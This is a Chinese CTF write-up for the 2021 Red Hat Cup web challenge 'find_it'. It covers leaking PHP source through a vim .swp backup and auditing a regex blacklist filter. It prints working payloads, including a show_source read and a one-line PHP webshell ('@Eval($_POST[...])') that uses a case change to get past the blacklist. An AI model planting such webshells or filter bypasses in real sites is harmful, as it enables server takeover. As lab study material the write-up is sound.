CTFHub_2021-第四届红帽杯网络安全大赛-Web-find_it(.swp备份文件源码泄露、代码审计、正则表达式绕过)
访问robots.txt发现提示 1ndexx.php
直接访问不到,需要访问vim的保存的缓冲类型文件.swp,访问之后获取到源码。
/.1ndexx.php.swp
审计源码
<?php #Really easy... $file=fopen("flag.php","r") or die("Unable 2 open!"); $I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php")); $hack=fopen("hack.php","w") or die("Unable 2 open"); $a=$_GET['code']; //1.获取到code参数值 if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){ die("you die"); } //2.参数值内容过滤:正则匹配危险函数 if(strlen($a)>33){ die("nonono."); } //3.参数值长度过滤:字符串长度不能超过33 fwrite($hack,$a); //4.将参数值写入hack.php fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh); //5.将flag.php内容写入hack.php fclose($file); fclose($hack); ?>
测试:输出phpinfo(),phpinfo不是过滤函数,传入之后访问hack.php可利用成功
/index.php?code=<?php phpinfo(); ?>
利用方式1:利用show_source高亮代码。审计源码时注意到,源码已经将flag.php内容写入hack.php,这样只需要高亮自己就可以查看源码得到flag了。(由于写入的是源码,因此我们直接访问hack.php无法看到。)
/index.php?code=<?php show_source(__FILE__);?>
利用方式2:大小写过滤,利用Eval绕过eval限制,成功获取webshell。
写入一句话木马
/index.php?code=<?php @Eval($_POST['aaa']);?>
蚁剑连接
拿到flag